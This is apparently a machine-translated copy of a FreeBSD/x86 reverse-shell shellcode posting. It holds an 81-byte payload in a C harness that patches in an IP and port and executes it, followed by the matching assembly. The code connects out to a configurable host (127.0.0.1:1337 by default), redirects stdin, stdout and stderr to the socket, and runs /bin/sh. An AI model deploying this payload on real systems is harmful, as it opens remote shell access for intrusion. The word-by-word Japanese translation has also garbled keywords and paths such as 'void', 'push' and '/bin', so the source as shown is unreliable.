このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


FreeBSD/x86 - - connect 支援する /貯蔵所/sh. 81 bytes
/*
 -------------- FreeBSD/x86 - connect 支援する /貯蔵所/sh. 81 bytes ----------------
 *  AUTHOR : Tosh
 *   OS    : BSDx86 (実験(する)d on FreeBSD 8.1)
 *   EMAIL : tosh@tuxfamily.org
 */

#含む <stdio.h>
#含む <string.h>
#含む <arpa/inet.h>

char shellcode [] = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
                    "\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89"
                    "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9"
                    "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03"
                    "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                    "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";

無効の change_shellcode(const char *ip, unsigned short port)
{
   *((unsigned long*)(shellcode + 15)) = inet_addr(ip);
   *((unsigned short*)(shellcode + 21)) = htons(port);
}
無効の print_shellcode(無効の)
{
   int i;
   for(i = 0; i < sizeof(shellcode) - 1; i++)
   {
      printf("\\x%.2x", (unsigned char)shellcode[i]);
   }
   printf("\n");
}
int main(無効の)
{
   const char ip[] = "127.0.0.1";
   unsigned short port = 1337;

   change_shellcode(ip, port);
   print_shellcode();
   printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
   無効の (*f)() = (無効の*) shellcode;

   f();

   return 0;
}

/*
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Syscalls nums, on /usr/src/sys/kern/syscalls.master ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

%define IPPROTO_TCP 6
%define SOCK_STREAM 1
%define AF_INET 2

%define SYS_EXECV 59
%define SYS_DUP2 90
%define SYS_SOCKET 97
%define SYS_CONNECT 98

section .text

全世界の _start

_start:
   xor eax, eax
   ;;;;;;;;;;;;;;;;;;;;;;
   ; socket()
   ;;;;;;;;;;;;;;;;;;;;;;
   押し進める eax
   押し進める byte SOCK_STREAM
   押し進める byte AF_INET

   mov al, SYS_SOCKET
   押し進める eax
   int 0x80
   mov edx, eax

   ;;;;;;;;;;;;;;;;;;;;;;
   ; sockaddr_in
   ;;;;;;;;;;;;;;;;;;;;;;
   押し進める 0x0100007f
   押し進める word 0x3905
   押し進める word 0x0201
   mov ecx, esp

   ;;;;;;;;;;;;;;;;;;;;;
   ; connect()
   ;;;;;;;;;;;;;;;;;;;;;
   押し進める byte 16
   押し進める ecx
   押し進める edx
   xor eax, eax
   mov al, SYS_CONNECT
   押し進める eax
   int 0x80

   ;;;;;;;;;;;;;;;;;;;;;
   ; dup2()
   ;;;;;;;;;;;;;;;;;;;;;
   xor ecx, ecx
.L:
   押し進める ecx
   押し進める edx
   xor eax, eax
   mov al, SYS_DUP2
   押し進める eax
   int 0x80

   inc cl
   cmp cl, 3
   jne .L

   ;;;;;;;;;;;;;;;;;;;;;;
   ; execv("/貯蔵所/sh")
   ;;;;;;;;;;;;;;;;;;;;;;
   xor eax, eax

   押し進める eax

   押し進める '//sh'
   押し進める '/貯蔵所'

   mov ebx, esp

   押し進める eax
   押し進める esp
   押し進める ebx
   mov al, SYS_EXECV
   押し進める eax
   int 0x80
 */